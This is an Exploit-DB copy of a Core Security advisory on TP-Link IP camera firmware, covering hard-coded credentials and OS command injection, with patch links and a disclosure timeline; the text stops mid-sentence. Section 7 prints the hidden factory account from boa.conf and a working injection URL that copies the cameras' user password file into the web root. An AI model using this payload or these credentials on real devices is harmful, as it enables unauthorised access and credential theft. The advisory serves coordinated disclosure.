Exploit-DB #25812
Description: TP-Link IP Cameras Firmware 1.6.18P12 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-05-29
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com

TP-Link IP Cameras Multiple Vulnerabilities

1. *Advisory Information*

Title: TP-Link IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0318
Advisory URL:
http://www.coresecurity.com/advisories/tp-link-IP-cameras-multiple-vulnerabilities
Date published: 2013-05-28
Date of last update: 2013-05-28
Vendors contacted: TP-Link
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Use of hard-coded credentials [CWE-798], OS command injection
[CWE-78]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2572, CVE-2013-2573

3. *Vulnerability Description*

Multiple vulnerabilities have been found in TP-Link IP cameras based on
firmware v1.6.18P12 and below, that could allow an unauthenticated
remote attacker:

   1. [CVE-2013-2572] to bypass user web interface authentication using
hard-coded credentials.
   2. [CVE-2013-2573] to execute arbitrary commands from the
administration web interface. This flaw can also be used to obtain all
credentials of registered users.

4. *Vulnerable Packages*

   . TP-Link IP cameras based on firmware v1.6.18P12 and below.
Tests and PoC were run on:

   . TL-SC 3130 [CVE-2013-2572] works with this device only
   . TL-SC 3130G
   . TL-SC 3171G
   . TL-SC 4171G

Other TP-Link cameras and firmware versions are probably affected too,
but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

Vendor provides the links to patched firmware versions. This software is
*beta*, TP-Link will release the final versions with release notes and
some new functions and fixes in the following days.

   . http://www.tp-link.com/resources/software/TL-SC3430_V1_130527.zip
   . http://www.tp-link.com/resources/software/TL-SC3430N_V1_130527.zip
   . http://www.tp-link.com/resources/software/TL-SC3130_V1_130527.zip
   . http://www.tp-link.com/resources/software/TL-SC3130G_V1_130527.zip
   . http://www.tp-link.com/resources/software/TL-SC3171_V1_130527.zip
   . http://www.tp-link.com/resources/software/TL-SC3171G_V1_130527.zip
   . http://www.tp-link.com/resources/software/TL-SC4171G_V1_130527.zip

6. *Credits*

These vulnerabilities were discovered and researched by Nahuel Riva and
Francisco Falcon from Core Exploit Writers Team. The publication of this
advisory was coordinated by Fernando Miranda from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

7.1. *Hard-Coded Credentials in Administrative Web Interface*

[CVE-2013-2572] TP-Link IP cameras use the Boa web server [1], a popular
tiny server for embedded Linux devices. 'boa.conf' is the Boa
configuration file, and the following account can be found inside:

/-----
# MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam
-----/

This account is not visible from the user web interface; users are not
aware of the existence and cannot eliminate it. Through this account it
is possible to access two CGI files located in '/cgi-bin/mft/':

   1. 'manufacture.cgi'
   2. 'wireless_mft.cgi'

The last file contains the OS command injection showed in the following
section.

7.2. *OS Command Injection in wireless_mft.cgi*

[CVE-2013-2573] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS
command injection in the parameter 'ap' that can be exploited using the
hard-coded credentials showed in the previous section:

/-----
username: manufacture
[CREDENTIAL_REDACTED]
-----/

The following proof of concept copies the file where the user
credentials are stored in the web server root directory:

/-----
http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales
-----/

Afterwards, the user credentials can be obtained by requesting:

/-----
http://192.168.1.100/credenciales
-----/

8. *Report Timeline*

. 2013-04-29:
Core Security Technologies notifies the TP-Link Customer Support of the
vulnerabilities. Publication date is set for May 28th, 2013.

. 2013-04-30:
TP-Link team asks for a report with technical information.

. 2013-05-02:
Technical details sent to TP-Link.

. 2013-05-12:
Vendor notifies that a new firmware will be released around May 20th.

. 2013-05-16:
Core asks vendor if they are ready for coordinated public disclosure on
May 20th.

. 2013-05-17:
Vendor notifies that they have fixed the firmware but the testing
process won't be ready before May 24th.

. 2013-05-20:
Core notifies that the advisory publication was re-scheduled for Monday
27th.

. 2013-05-23:
Vendor sends a copy of the beta firmware in order to confirm if issues
were fixed.

. 2013-05-27:
Vendor notifies that consumers are able to download the Beta firmware
from TP-Link website. The final release will be made public in the
following days, and will increase some new functions.

. 2013-05-28:
Advisory CORE-2013-0318 published.

9. *References*

[1] http://www.boa.org/.

10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.

11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate rea